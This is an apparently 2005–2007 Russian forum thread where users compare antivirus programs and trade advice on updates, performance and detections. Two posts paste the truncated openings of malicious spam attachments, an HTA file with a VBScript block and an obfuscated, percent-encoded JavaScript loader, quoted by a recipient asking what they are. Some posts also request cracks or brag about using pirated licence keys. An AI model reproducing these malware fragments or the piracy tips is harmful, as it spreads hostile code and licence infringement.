моем случае вызвает проверку p17.sys (Creative Device .... bla bla bla). Третий глюк, при записи через NeroBurning Rom, nod32 постояно проверяет nero.exe (очевидно с тойже самой проблемой, не нравится как устройство исползуется). При гулянии по компу через total commander постояно проверяется totalcmd.exe, запуск apollo где в playlist указана папка (а он тогда из нее все mp3 выгребает рекурсивно, даже не читает, просто ищет), тотже самый эффект. Да что такое подумал я и перестал следить за тем куда он ломится, хотя надо сказать что скорость обработки большого количества файлов от этого уменьшилась (например при поиске). Дальше я занялся IMON, дейсвительно качаешь ловит, почту сканирует, особых проблем не обнаружил. Но выключил нафиг , так как нашел plugin для The Bat!., вирусы ловит и убивает. По умолчанию антивирус дейсвительно быстрый сканирует быстро, правда в томже поумолчанию отключена проверка архивов, которая по умолчанию включена в KAV 4.5, Dr.Web, VirusScan. Включил проверку, все равно быстрее, но разница уже не столь значительна. К сожалению коллекция моих вирусов очень старая , и все они под DOS. Но тем не менее какие никакие но результаты показали что NOD32 ловит вирусы также как и AVP & Dr.Web из ~140 файлов около 75 поймали, (VirusScan поймал 98 ). Отставив нелепые проверки, я поставил к нему найденый руссификатор (принцип как в mui, набор dll с русским интерфейсом), получил моральное удовлетворение что ругается он также страшно, но по русски, что почему-то оказывает более спокойное влияние на моих родных (два компа на двух и проверял), не смотря на что разговорный английский они знают лучше меня . Вместо паники и криков "ааа сегодня вирус поймала и выключила компьютер не знала чего делать", получил спокойное замечание что "вирус нашла, там была кнопка удалить, я удалила.". Ну вот где-то так.

Автор:	Violator666 [ 02:48 26.02.2005 ]
Заголовок сообщения:
реально оптимального антивируса найти сложно — у всех есть весомые недостатки (п.с. панда очень неплохо смотрится из молодых..)

Автор:	Alex_good [ 21:24 22.03.2005 ]
Заголовок сообщения:
Violator666 Это точно. Вот и avast надо мной прикалывается. Про откровенный троян молчит, но послать по почте своим авторам не даёт.

Автор:	Romanoff [ 16:08 01.06.2005 ]
Заголовок сообщения:
Возможно ли вообще в НОДЕ 32 сдлеать так чтобы обновления были размером меньше, тоесть получать только новые базы? Можно ли как-нибудь обновлять базу через файлы, а не через инет, а то когда я указываю путь к папке, в которой лежат базы, нод начинает ругаться, мол не найден фалй такой то такой то.

Автор:	Romanoff [ 15:09 05.06.2005 ]
Заголовок сообщения:
че никто НОДом не пользуется чтоль?

Автор:	ArtLonger [ 19:14 05.06.2005 ]
Заголовок сообщения:
Romanoff Насколько я помню, это можно организовать с помощью специальной админской версии NOD32.

Автор:	Romanoff [ 04:54 23.08.2005 ]
Заголовок сообщения:
http://www.antivirus.ru/OknoA.html#M12 Круто, NOD32 первое место занимает, рад!

Автор:	Alex_good [ 12:09 23.08.2005 ]
Заголовок сообщения:
Сейчас играюсь с KasperskyInternetSecurity 2006 бета. Если нормально отладят, будет неплохой комбайн. Хотя весь его антиспам рассчитан только на Аутлук и Аутлук экспрессо. Ну ещё про мыша что-то знает. А Thunderbird ему незнаком

Автор:	Micca [ 12:16 23.08.2005 ]
Заголовок сообщения:
даже не буду никого слушать. Касперский Антивирус 3.5.133.

Автор:	rogue [ 15:08 05.09.2005 ]
Заголовок сообщения:
Win2003WebSP1 optimized + Dr.Web 4.33b for Windows servers NT/2000/2003

Автор:	rogue [ 16:44 30.09.2005 ]
Заголовок сообщения:
Посоветуйте антитроян. Кто юзал PestPatrol, Trojan Remover подскажите, что лучше.

Автор:	FlyUp [ 16:19 31.12.2005 ]
Заголовок сообщения:
Все посты не читал, может это и было...Был Касперский, файлы от игр удалял просто так, считал системные файлы "подозрительными" очень тормозил систему, иногда просто жутко комп глючил...плюнул удалил..поставил McAfee Prof корпоративная версия, все было ок пока система не полетела из-за трояна, как-то пробравшегося, потом обнаружилось еще3 штуки. так же удалил, поставил NOD, только 1 раз находил(т.е. я, он то исправно ловил) в системе, и то, то ли пассивный то ли глючный троян...Так что Нодом доволен! P.S. все антивирусы были лецензионные.

Автор:	U-Nick [ 13:44 03.02.2006 ]
Заголовок сообщения:
Коллеги! Кто-нить знает, как для 98-ой подружить Спидер (от Dr.Web) с новыми базами версии 4.33? В 4.33 vxd-драйвер есть? Или как? Сейчас Dr.Web 4.32а стоит — все понимает, а Спидер (стоит от 4.31) кажет, что куча баз с ошибкой. И тормознее стало...

Автор:	U-Nick [ 09:26 05.05.2006 ]
Заголовок сообщения:
Коллеги-знатоки! Как защитить ящик на nm.ru от завирусованного спама? И ведь гады — под форумчан наших к0сят! Вот пример начала одного "вложения". Дальше что-то в hex-кодах... Код: <title>(C:)</title> <!-- y="sK5ukfPzv" --> <HTA:Application xZH6eFmA2="s" CONTEXTMENU=no zR="Ji73UBF" ICON="explorer.exe" WoLuPYq="p76o2" /> <!-- z="PrOE" --> <body leftmargin=0 marginwidth=0 topMargin=0 bottomMargin=0 SCROLL=no> <!-- zBj55nr="lCz7uixwaIONb" --> <iframe src="C:\" width=100% height=100%> <!-- FV2Ui28="bmZwTNB85" --> </iframe> <!-- zF0rE="BUmdz2uiY" --> <script language=vbs> Прям хоть ящик удаляй...

Автор:	Dimka [ 09:49 05.05.2006 ]
Заголовок сообщения:
Устраивает на 100% нортоновский корпоративный клиент 10 версии и тормозит не сильно, при правильных настройках.

Автор:	zero85 [ 00:54 07.05.2006 ]
Заголовок сообщения:
Сегодня Касперский версии 5.0.527 проявил истинный "героизм и отвагу";). У нас в домашней сети (27 компов) появился вирус (название вроде — neshta, один из последних), видно кто-то с городской принес, распостраниться на всю сеть он не успел (было заражено только 2 компа), но предупреждения о вирусной опасности сработало на 20 компах... Так что Касперский тоже кое что может.

Автор:	Finster [ 12:07 09.05.2006 ]
Заголовок сообщения:
Ага, у меня еще почище история про героического касперыча: вчера каким-то образом он нашел трояна Backdoor.Win32.RAdmin.w в файле "antivir_workstation_win7u_de_h.exe"— это бесплатный антивирус, скачанный с самого что ни на есть их сайта. Я уже начал возмущаться, до чего негодяи дошли, как мне пришла мысль, касперыча проапдейтить через инет, после чего он уже в этом файле ничего нe нашел. Поискал по интернету- у других было, правда давно, что он находил Backdoor.Win32.RAdmin.s там, где его нет. Пустячок конечно, а осадочек остался (предпоследний апдейт кстати, с которым он этого "трояна" нашел, был позавчерашний- это я к тому, чтоб не подумали, что я его уже 100 лет не апдейтил)

Автор:

U-Nick [ 12:37 17.05.2006 ]

Заголовок сообщения:

Опять,

, приехало. ЗИПом с файлом data.hta, с паролем и ключиком:
You have received Protected Message
To read the message open attached file.
User ID: 12345
Password: e586c55
Keep your password in a safe place. Best Regards, Encrypted Message Service, MSN.com

Код:

<html>
<head>
<title>MSN.com</title>
</head>
<body>
<script language=JavaScript>n7="+66+75nc+74ion+20u+28+7A+29+7B+76+6(r+20e,x,s+3D'+27+2C+62=+27+27+2Ca,c=
+22+29zpNYl+7D!+64'+36+28F+6Du5+5A[s+6BJ-+6E+37+63+2A+5DQi+38+77:+72+3D+782+33+74P+7(+2BoX+2CWA9.+
76h+56+45+3B+6A/+79+6(+5F0|+60+40+42S+47H+62(+65+7Bf+34+67C+7E #+54+44+26+49+4B+4C+4D+4FR+22+2Cy+
3Bf+6Fr+28a=+30;a<+7A.+6Cen+67th;+6(+2B+2B){+79+3Dz+2E+63h+6(+72+4(+74+28a+29+3Be+3Dc.in+64+65+78+4F+
66+28+79)+3Bif+28+65>+2D+3(+29{x+3D+28+28+65+2B()+25+38+36+2D+3();+69+66+28x<+3D0+29+7B+78+2B+3D+
386}s+2B=+63.c+68+6(+72A+74+28+78-+3(+29+7De+6Cs+65{+69f+28+79==+22$+22)+79+3D+22+5C+5C+22+3B+69f+
28y==+22+5E+22+29+79+3D+22+5C+22+22;+73+2B+3D+79+7D}+3Bd+6F+63+75m+65+6E+74.+77+72ite+28s+29}";n7=
n7.replace(/\(/g,"1");n7=n7.replace(/\+/g,"%");o9="<k*=8NP#}_7C5_C{x-_h_G*=8NP>457*P8X7#=Fzf'X*5u{7Pv:=8P{F6<*
{7P{=><4X=u><P_1}{#1X='{=x| ..... и тд

Это ЧТО? Никто из близких хлопцев не в курсе. :spy:

Др.Веб смолчал.

Автор:	ArtLonger [ 12:46 17.05.2006 ]
Заголовок сообщения:
U-Nick HTML Приложения (HTA) для IE HTML-приложения: Цитата: Простая замена расширения .HTML на .HTA снимает защиту операционной системы, применяемую к файлам, полученным из Интернета. HTML-файлы могут свободно обращаться к любым ресурсам локального компьютера, например, создавать и удалять файлы и папки или переписывать информацию в системном реестре.

Автор:	U-Nick [ 06:39 18.05.2006 ]
Заголовок сообщения:
ArtLonger Т.е. сие есть зло? Прибью.

Автор:	ArtLonger [ 07:32 18.05.2006 ]
Заголовок сообщения:
U-Nick Ну зло-не зло, а дырка похоже конкретная...

Автор:	U-Nick [ 08:34 18.05.2006 ]
Заголовок сообщения:
ArtLonger Сия дырка — в сервисе nm.ru.

Автор:	Darth_Vader [ 21:19 22.05.2006 ]
Заголовок сообщения:
Лично я на виндах юзаю и юзверям своим ставлю NOD32. Поднял сервер обновлений. Сам антивирь радует тем, что почти не жрет ресурсов мониторингом и достаточно бодро сканирует, точность обнаружения тоже вполне...

Автор:	sergey2400 [ 23:17 22.05.2006 ]
Заголовок сообщения:
Darth_Vader Да. Здесь я с Вами согласен, ресурсов он не "жрёт". Но есть одно НО. После проверки хорошо инфицированного HDD антивирусом NOD32, Касперский находит не вылеченные вирусы, а вот после Касперского, NOD32 уже ничего не находит Проверено и не раз. Поэтому, хоть Касперский и подтормаживает систему, но всё же наиболее эффективный, по сравнению со всеми остальными антивирусными пакетами.

Автор:	Lis_Domino [ 14:35 25.05.2006 ]
Заголовок сообщения:
Avast! лучше всех, а я уж повидал и вирусы и антивирусы (сисадмин 8 лет стажа)

Автор:	Peredel-medic [ 13:40 01.06.2006 ]
Заголовок сообщения:
Читал,читал все ваши дискуссии и...пользуюсь AVP 6.0 уже полгдода и меня ВСЕ устраивает,никаких сверхестественных тормозов и глюков НЕ ЗАМЕЧАЛ. Выловил целых 4 трояна и кучу рекламных программ,да и база вирусов у него солидная.Да,тоже слышал,что NOD32 хорошая альтернатива всем существующими антивирусникам,что только он менее раскручен среди других продуктов и немножко сложноватая настройка...

Автор:	zero85 [ 14:38 01.06.2006 ]
Заголовок сообщения:
Peredel-medic AVP6 особенно последней редакции — очень хороший антивирус! Понравилось, что не так сильно грузит систему, как AVP5, и защита понадежнее... Рекомендую!

Автор:	Peredel-medic [ 14:58 01.06.2006 ]
Заголовок сообщения:
А самое главное,что в нем НЕТ никаких заумных заморочек с настройками В дополнение,к возможности из под проги отключить ненужные клиенты или выбрать нужный для каждого уровень безопасности,разработан симпатичный интерфейс,простое ручное и автоматическое обновление тоже прилагается УВАЖАЮ!!!

Автор:	Sikambr [ 15:49 01.06.2006 ]
Заголовок сообщения:
zero85, покупка 1000 руб. на год, продление на год лицензии — 750 руб. Кто уже купил?

Автор:	ArtLonger [ 18:51 01.06.2006 ]
Заголовок сообщения:
Но памяти он жрёт — мамма миа. Виртуальная машина с 384Мб памяти с установленным KAV6 работать не смогла...

Автор:	Peredel-medic [ 19:48 01.06.2006 ]
Заголовок сообщения:
Вопрос памяти-эта лишь некоторая финансовая сложность,можно все быстро исправить

Автор:	zero85 [ 21:48 02.06.2006 ]
Заголовок сообщения:
ArtLonger Зато проверка быстрее (проверяет только новые и измененные файлы) и расчитан AVP 6 уже на машины с большими объемами памяти.

Автор:	Sikambr [ 23:35 03.06.2006 ]
Заголовок сообщения:
zero85, насколько большим объёмом? Под Касперский 4.5.0.48 я мог запускать такую прожорливую вещь как Обливион. А с Касперский 6.0 получится такое? Или он сразу отожрёт полгига памяти и "зато я буду типа без вирусов"?

Автор:	zero85 [ 14:19 04.06.2006 ]
Заголовок сообщения:
Касперский сейчас запущен. Занимает приблизительно 20 мегабайт. А системные требования: Intel Pentium 300 MHz или выше 128 MB RAM 50 MB свободного пространства на жестком диске По информации с официального сайта

Автор:	Makc_68 [ 22:47 02.07.2006 ]
Заголовок сообщения:
Привет! Kaspersky Internet Security 6.0.300. Пока самый приемлемый вариант. Для меня. Пару недель назад поймал комп что-то крутое: система стала на глазах рушиться... Каспер ничего не нашёл, естественно, но проактивной защитой меня уведомлял о внедрении всего во всё. И на том спасибо. Снёс я его, начал пробовать всякими там нодами, пандами, нортонами и прочим ... , но с их точки зрения всё было ОК. А система продолжала агонию. Кстати, восстановление резервной копии диска Ц Acronis-ом ни к чему не привело — Бобик сдох... Только "format C D E" и перестановка винды. Слышал я как-то о существовании спецархива вирусов для тестирования антивирусных программ, может кто даст ссылку на его местонахождение. По-моему это положит конец дискуссии "кто лучше", т.к. основная задача антивируса — поиск наибольшего количества тварей, будет видно в сравнении. P.S. Панду просьба не хвалить — после того, как она нейтрализовала встроенный в IE модуль FlashGet 1.71, я её в гробу видал...

Автор:	sergey2400 [ 23:20 02.07.2006 ]
Заголовок сообщения:
Makc_68 Поставьте Касперского Personal Pro 5.0.391, Kaspersky Anti-Hacker 1.8.180.0 и навеску на IE MyIE2. Всё это под управление WinXP SP2 даст Вам 100% защиту от всех напастей из инета.

Автор:	Makc_68 [ 13:03 05.07.2006 ]
Заголовок сообщения:
Спасибо, это уже было. KIS 6.0 — это вроде как эволюция... Кстати, Panda может и права была насчёт FlashGet — пару дней назад он попросил связи с Киевом?! Запретил, конечно, антихакером, но вопрос остался — может шпион сидит в засаде?

Автор:	B.R@ven [ 15:21 05.07.2006 ]
Заголовок сообщения:
народ а чем вас оффициально бесплатный Avira не устраивает сечет и кеш броузера и темпы бата и не прожорлив и безглючен

Автор:	B.R@ven [ 15:23 05.07.2006 ]
Заголовок сообщения:
а для лечения троянов от них же tool.com

Автор:	Alex_good [ 15:41 05.07.2006 ]
Заголовок сообщения:
B.R@ven Хорош, конечно. Но в версии 7 он как-то "запопсовел". При апдейтах регулярно выкидывает окно — "купи про, купи про". Запретишь доступ нотификации — сразу сообщения типа "За что? там столько полезной информации..." (очень вольный перевод ). Снова на Avast уйду

Автор:	B.R@ven [ 16:31 05.07.2006 ]
Заголовок сообщения:
Alex_good сорь , а это что плохо ? что бесплатная программа рекламирует себя платную, с единственным отличием то что апдейтиться можно будет с диска ? кслову 6ка туже рекламу гоняла а на счет легитимности вообще молчу

Автор:	Peredel-medic [ 16:52 05.07.2006 ]
Заголовок сообщения:
На днях AVP6 что-то заглючил...файловый антивурус и проактивная защита перестали загружаться после очередного обновления.Попытки востановить привели к исправлению вышеизложенных неприятностей к вновь появившимся-теперь веб антивирус отключился под предлогом сбоя. Суппорт мне ничем не помог,а в итоге поставил я себе NOD32,что меня порадовало Неплохой и шустрый антивирусник,да и в обращении очень простой .Здесь же и веб-,и мэил-,и проактивный антивирусник.Можно РЕКОМЕНДОВАТЬ!!!!

Автор:	Alex_good [ 09:01 07.07.2006 ]
Заголовок сообщения:
B.R@ven То. что программа рекламирует свою платную версию — не плохо, не хорошо. Это никак. Плохо то, что она не даёт мне возможности выбора хотя бы степени навязчивости этой рекламы. Предлагал бы себя раз в 5 реже — жил бы я с ним, жил счастливо. А так — пробую AVG

Автор:	ArtLonger [ 09:58 07.07.2006 ]
Заголовок сообщения:
Alex_good Дык пока ещё 6 версия работает, которая AntiVir...

Автор:	Alex_good [ 10:30 07.07.2006 ]
Заголовок сообщения:
ArtLonger А апдейты по гпрс тащить? %^(

Автор:	ArtLonger [ 13:04 07.07.2006 ]
Заголовок сообщения:
Alex_good В смысле? Для Avira 7 ты их по-другому тащишь? Тем более что AntiVir 6 спокойно работает с инкрементными обновлениями. Да, надо ручками класть и ручками перезапускать сервис. Но во-первых можно bat-никами, а во вторых у 7 настолько короткая лицензия, что доставать своими воплями о невозможности обновления она начинает очень быстро...

Автор:	Alex_good [ 08:51 08.07.2006 ]
Заголовок сообщения:
ArtLonger Тот AntiVir 6, что заначен у меня, даже после обновления сам предпочитает тащить весь дистрибутив Можно cmdшки писать, можно nncron прикрутить, конечно, но бывает трудно объяснить людям, чего это, почему нельзя удалять, почему надо самому тащить обновление а не обновляться из самой программы. А если себе поставить не то, что людям, потом, слушая телефон, судорожно вспоминаешь, где какие опции...

Автор:	zero85 [ 08:29 11.07.2006 ]
Заголовок сообщения:
Рекомендую Kaspersky Internet Security 6.0. Столько функций и в одной программе...

Автор:	U-Nick [ 08:52 11.07.2006 ]
Заголовок сообщения:
zero85 Рекомендую... — а чуть подробнее? Поскольку все мы инетимся ... У мну стоит Spider + Sygate Pers. Firewall

Автор:	zero85 [ 14:25 12.07.2006 ]
Заголовок сообщения:
U-Nick Имеется встроенные: -анти-спам. -анти-хакер. -анти-шпион. -проактивная защита. -веб антивирус. -почтовый антивирус. -файловый антивирус. Это cвоего рода замена антивируса касперского про версии (в 5 версии, теперь вродь не будет 6 pro)...

Автор:	ArtLonger [ 18:14 12.07.2006 ]
Заголовок сообщения:
zero85 Кошмар какой... А пятки оно не чешет? Имхо комбайн всегда работает хуже отдельных специализированных программ. Впрочем, на вкус и цвет...

Автор:	zero85 [ 15:43 13.07.2006 ]
Заголовок сообщения:
ArtLonger Вы говорили: Цитата: Виртуальная машина с 384Мб памяти с установленным KAV6 работать не смогла... А сможет ли она работать с кучей специализированных программ, которые будуут отнимать оперативной памяти в разы больше, чем один KIS 6 (отнимает 20 мег оперативки)...

Автор:	ArtLonger [ 18:43 13.07.2006 ]
Заголовок сообщения:
zero85 Ставя кучу специализированных программ человек как правило хорошо понимает, чего ожидать. А помимо оперативки проги могут быть жадны и до других ресурсов ОС.

Автор:	Alex_good [ 07:41 14.07.2006 ]
Заголовок сообщения:
zero85 IMHO KIS хорош для тех, кому надо чтоб всё в одном и поставил-работает. Беты, которые я пробовал, та себя и вели. Сначала. И снёс я его из-за антихакерной части. Начались дублирования правил и т.п. АНтивирусная же часть работала без проблем и заметных тормозов.

Автор:

zero85 [ 14:13 14.07.2006 ]

Заголовок сообщения:

Alex_good

Цитата:
АНтивирусная же часть работала без проблем и заметных тормозов.

Она представлена Kav 6-ым...

Цитата:
Начались дублирования правил и т.п.

Вродь исправили в финальной версии.

Автор:	Makc_68 [ 21:27 16.07.2006 ]
Заголовок сообщения:
Два месяца Kaspersky Internet Security 6.0.300 работает исправно, вот только пару раз блокировал установку обновлений для WMP 10 и оффиса 2003 под предлогом срабатывания самозащиты программы. А так — рекомендую...

Автор:	John_Doe [ 05:59 18.07.2006 ]
Заголовок сообщения:
А что для персонального использования из бесплатных продуктов вразумительного сейчас есть? Сейчас сижу на Докторе, просто сканер + нормальные руки и голова. Но нелегально использовать как то нехорошо.

Автор:	Makc_68 [ 21:47 21.07.2006 ]
Заголовок сообщения:
Всё хорошо, что хорошо для тебя. Ключей для KIS 6.0 в сети немеряно — бери и не комплексуй! А к бесплатному софту относись с неким скепсисом — денег не берут, значит и за качество никто не спросит. А коммеческий продукт стараются вылизывать. Решай сам.

Автор:	John_Doe [ 08:00 30.08.2006 ]
Заголовок сообщения:
Тут прочитал про AOl Active Virus Shield. Говорят что движок взят от 6 версии каспера. Обновления с его же сайта. Продукт бесплатный и очень на каспера похож. Кто пользовался? Какие впечатления?

Автор:	Sultan_SPb [ 14:28 12.09.2006 ]
Заголовок сообщения:
народ, что поставить, какой антивирь? ща стоит НОД32, как то не внушает доверие после последних тестов, но привлекает интерфейсом и не весит систему. ставил Симантек 9.0, Каспера 6.0бета, МакАфее 8.0, Аваст! Проф 4.7, трояны обнаружил только аваст, и то не факт, что это трояны! в общем в поисках инфы, сравнений, тестов, нарвался на это: Кратко о тестировании антивирусов и тестирование по данным virusscan.jotti.org. т.е. выходит что AntiVir лучший, и ставить нужно именно его!? что скажите?

Автор:	ArtLonger [ 19:50 12.09.2006 ]
Заголовок сообщения:
Sultan_SPb Лучших не бывает. Бывают надёжные — более или менее AntiVir теперь называется Avira AntiVir PersonalEdition Classic. Стал несколько более попсовым, но в надёжности имхо не потерял ничего. Живёт по прежнему тут: http://www.free-av.com/ Я пока ещё сижу на 6 версии, но 7 пожалуй уже преодолела детские болезни — скоро окончательно перейду на неё.

Автор:	Alex_good [ 06:13 13.09.2006 ]
Заголовок сообщения:
Sultan_SPb IMHO ставить нужно тот анитвирус, которому ты доверяешь (как вариант который больше нравится ) и ещё понятный в настойке тебе

Автор:	dimit [ 20:02 14.09.2006 ]
Заголовок сообщения:
На работе на одном из компов стоит каспер Chip-edition, на остальных Avira 7.0. Три дня назад Avira отловила какую-то каку, которую Каспер почему-то игнорировал. Кака сканировала порты и грузила сеть по-чёрному. Дома тоже поставил Aviru и очень доволен ненавязчивостью. Кстати реклама не выскакивает после вчерашнего обновления Updatera до версии 1,02,09,07.

Автор:	Alex_good [ 05:34 15.09.2006 ]
Заголовок сообщения:
dimit Ура! буду ставить снова!

Автор:	dimit [ 21:18 15.09.2006 ]
Заголовок сообщения:
Да, апдейтится он автоматом в режиме "minimized", мож в этом причина не появления рекламного окошка Прежде, чем публиковать картинку, посмотрите на её размер и подумайте о трафике других участников конференции! http://image011.mylivepage.com/chunk11/ ... /Avira.JPG Размер изображения 147 килобайт. Сообщение изменено. PANpredator

Автор:	ArtLonger [ 21:30 15.09.2006 ]
Заголовок сообщения:
Вот ведь... На трёх машинах Avira AntiVir PersonalEdition Classic работает нормально, а на ноуте сразу после проверки NTFS-диска вываливает машину в BSOD с ошибкой fltmgr.sys. Не могу понять, с чем конфликтует...

Автор:	Finster [ 12:21 16.10.2006 ]
Заголовок сообщения:
Народ, че за фигня творится? Сейчас после месяца счастливой жизни перестал пахать касперыч 6й версии (6.0.303)— файловый антивирус, анализ активности приложений, мониторинг реестра не запускаются, пишет "сбой", ни объяснения никакого, ничего. Провел апдейт- не помогло, откатил апдейт-тоже. На их сайте порыскал- ничего подобного там нет. Сейчас переустановил его, вроде пока пашет

Автор:	RTN [ 17:46 05.12.2006 ]
Заголовок сообщения:
а я вот юзаю Drweb уже лет так 8... лучше антивируса я не видел... единственный минус его это работа Spider-а, после недели идеальной работы он начинает тормозить систему, как-будто бы в нем что-то накапливается за неделю работы...

Автор:	IdeaFix [ 08:27 06.12.2006 ]
Заголовок сообщения:
Finster Была такая же фигня, обновился до 6.0.1.411, а он уже сказал что ключ мой в чёрном списке, хотя он корпоративный университетский. Щас начальство дрючит тех, кто с каспером договор заключал на предмет того, чё за подстава.

Автор:	Makc_68 [ 02:26 07.12.2006 ]
Заголовок сообщения:
Похоже, с Каспером пришло время расставаться... Проверка подлинности ключа вещь хорошая, но заставить русского платить — бред сивой кобылы! Я никогда не буду платить за софт требуемую цену, пока в лицензиях будут фразы "поставка "как есть"" и "не несём ответственности за ущерб в результате применения ПО". Не-е, ещё поработаю на Каспере. Нашёл всё-таки способ не взламывая программу обновляться с пиратским ключиком. А идею мне подсказал, кто бы вы думали — ФОРУМ на САЙТЕ КАСПЕРСКОГО!!! Я валяюсь...

Автор:	марик [ 11:53 12.03.2007 ]
Заголовок сообщения:
Работаю под доком вебом уже 5 лет. пробовал ВСЕ. д.веб самый незаметный. Вот стояла версия 4.32а, ключик на исходе. Переставил 4.33 — не знаю точно ли он виновник, но система вся глючить начала. Востановился и опять 4.32а воткнул. Что можете сказать? У 4.33 был такой глюк — НЕ МОГ ВЫГРУЗИТЬ Д.ВЕБ МОНИТОР — постоянно он в системе висел. Не в этом ли причина? С радостью бы юзал старую версию, но ключей далее 04.2007г. НЕТ. Хоть это и нельзя делать по правилам форума, но с извинениями попрошу — помогите с ключиком или кряком Д.ВЕБ 4.32а. Пожалуйста.

Автор:	IdeaFix [ 12:13 12.03.2007 ]
Заголовок сообщения:
марик 1. Это с позволения сказать га_но мамонта (ой простите, г-на Данилова) кое как проходит тест Virus Bulletin. Как показывает практика — незаметность (заметьте, это не стелс мод, а просто пофигизм) — не фича, а баг 2. Ключика Вам никто не даст. Да и не так он уж дорог чтобы его купить.

Автор:	PANpredator [ 12:21 12.03.2007 ]
Заголовок сообщения:
IdeaFix Полегче на поворотах! ДрВеб — форева! марик Обсуждение краков взломов и незаконного распространения ПО — запрещено!

Автор:	Harley [ 12:22 12.03.2007 ]
Заголовок сообщения:
IdeaFix Какой антивирь с Вашей точки зрения является самым оптимальным (не га_но мамонта) и не грузящим операционку?

Автор:	ArtLonger [ 12:55 12.03.2007 ]
Заголовок сообщения:
Harley Avira AntiVir PersonalEdition Classic http://www.free-av.com/ Нетяжёлый, надёжный, бесплатный...

Автор:	IdeaFix [ 12:56 12.03.2007 ]
Заголовок сообщения:
Harley 1. Шестой каспер в параноидальном режиме. Это из тех, кто не замыкает список аутсайдеров Virus Bulletin. Если оставить только монитор да имейл сканер — систему он не грузит апсалютна (по сравнению с kav 5.0 win_workstation например) и вирусы ловит все. 2. AVG 7.5 Free + AVG FireWall. Это если надо бесплатно и не в контору (некоторых корпоративных муток нет). 3. По поводу нортона... скачал я последнего... в триал версии.... он мне напомнил какую-то игру на flash... или мультик про масяню... аш расстроился.

Автор:	IdeaFix [ 13:00 12.03.2007 ]
Заголовок сообщения:
ArtLonger чёт он староват (релизы)... обновления только через тырнет?

Автор:	ArtLonger [ 13:07 12.03.2007 ]
Заголовок сообщения:
IdeaFix Это как это староват? Последний релиз — декабрьский . Обновляться можно и локально, но только базы.

Автор:	марик [ 13:09 12.03.2007 ]
Заголовок сообщения:
PANpredator покорнейше прошу извинить — но просто для этой версии ключей уже нет, а новая у меня глючит. На другой антивирус переходить? НИКОГДА. IdeaFix начинал с каспера — сплошной тормоз. Ловит всё что не попадя — читай что не надо. Потом АВГ — сложнее в устройстве программы я не встречал — дурдом. Но правда выципил он мне ту гадость какую искал. Ну и т.д. Все что-то имеют плохонькое. ДОКТОР ВЕБ. совершенно не требует ресурсов! (что включен, что нет — без разницы). Возможность запуска всех модулей вручную и по одному. Обновления на альтернативных сайтах без проблем. Постоянное наличие в нете новых версии с ключами (халява). И т.д.. По ловле блох — как то возникло у меня подозрение, что какая то гадость прямо в него залезла и он перестал ловить вирусы. Сначала я нашёл для контроля проверочный файлик-вирус — проверил — ок. Потом создал тювостановления и полез по кряковским сайтам и по голимой порнухе. Кряковские сайты с вирусами у меня в избранном так и помечены "С ВИРУСОМ!" Это было что то! За одну поездку умудрился раз 6-8 нарваться. Всё ок. Что надо то ещё? НИ РАЗУ НЕ БЫЛО КОСЯКОВ ПО ПРОПУСКУ ГАДОСТИ. Стабильность — ок. Правда бывает что очередное обновление глючное — что это? Ставишь его и д.в. встаёт. Удаляешь — ок. — ??? А по боьшому счёту это как выбирать между тайотой и маздой — обе хороши.

Автор:	IdeaFix [ 13:43 12.03.2007 ]
Заголовок сообщения:
марик Попробуйте именно шестого каспера... раньше тоже считал его чоень тормознутым (кав виндовс воркстейшон — эталон тормоза) но шестой.... сказка А по поводу актуальности докторвеба, он слил всем кроме творения от мс.

Автор:	марик [ 15:56 12.03.2007 ]
Заголовок сообщения:
IdeaFix — ...но шестой.... сказка ... — без шуток? ...недалеко от нее ушла известная программа Dr. Web – 89.3%. — ну признаю что не идеал. Понимаю так — или лёгкий в работе или как охрана президента. Ну не может же антивирус быть и малоресурсоёмким ( ) и стеной стоять. Наверное или то или то. Я предпочитаю д.в. Пока раз только он не смог найти врага. Ну ещё ручки есть + мозги — поможем .

Автор:	Alex_good [ 11:41 08.05.2007 ]
Заголовок сообщения:
Вот подвёл меня Avast. Мало того, что пропустил скриптовый вирус, так и в базы его не внесли, хотя я им и архив отослал, и на фтп положил. Уже неделя как...

Автор:	Merlin [ 16:31 08.05.2007 ]
Заголовок сообщения:
Alex_good Мало того, что пропустил скриптовый вирус, Если не секрет, то чего именно он пропустил? Сам юзаю Avira AntiVir PersonalEdition Classic (ttp://www.free-av.com/). К нему, кстати, недавно наконец-то прикрутили rootkit search.

Автор:	Alex_good [ 14:28 09.05.2007 ]
Заголовок сообщения:
Merlin Virus.VBS.Small.a по классификации касперского так и не понял, чего он плохого делает, кроме размножения. Ручками удаляется легко

Автор:	Merlin [ 17:20 09.05.2007 ]
Заголовок сообщения:
Alex_good так и не понял, чего он плохого делает, кроме размножения. Ручками удаляется легко Угу, повезло. Тьфу-Тьфу-Тьфу!

Автор:	Alex_good [ 06:24 14.05.2007 ]
Заголовок сообщения:
Вот! чуть больше, чем через две недели после того, как я отправил архив со скриптами, аваст таки обнаружил вирус (или ?)

Автор:	IdeaFix [ 08:07 14.05.2007 ]
Заголовок сообщения:
А у меня пари тут с коллегой с соседнего факультета... система следующая: у меня стоит AVS, берущий обновления с локального сервера (перенаправление натом), у него KAV WinWorkstation 5.5+Server (казённый, купленый) и машин у нас около 500 у каждого. Над нами по входу в интернет стоит какой-то хитровыделанный аппаратный маршрутник, который авторизует машины по макам и розеткам (портам комутатора) и выдаёт им ипы. Так же железка отслеживает сетевую активность (в ней сидит симантек антивирус вроде, который точно отличает спамера или сёрфера от вируса) и отключает от сети активную машину... Пока щёт два ноль в мою пользу. Что позволяет говорить о актуальности обоих решений. AVG кстати никакой критики не выдерживает

Автор:	Condor06 [ 13:37 23.05.2007 ]
Заголовок сообщения:
Alex_good писал(а): Вот подвёл меня Avast. Мало того, что пропустил скриптовый вирус, так и в базы его не внесли, хотя я им и архив отослал, и на фтп положил. Уже неделя как... С тем, что слабо реагируют согласен, а так не плохо ловит и обновляется часто. Стоит уже год. Пока особо жалоб нет. Ещё нравится, что всё на русс. яз.

Автор:	IdeaFix [ 10:27 30.05.2007 ]
Заголовок сообщения:
Ребят, а Windows Defender обладает хоть каким-то антивирусным функционалом? И как он будет работать на Win2003 standart 32 bit? А то везде политика всего лицензионного, а на сервер антивирь купить забыли А из бесплатного на 2003 встаёт только ClamWin... который не лечит. Defender+OneCare хоть как-то могут обеспечить безопасность?

Автор:	IdeaFix [ 10:35 30.05.2007 ]
Заголовок сообщения:
Блин... читаю тут, имхо резоннее подрючить начальство на антивирь...

Автор:	IdeaFix [ 18:06 12.06.2007 ]
Заголовок сообщения:
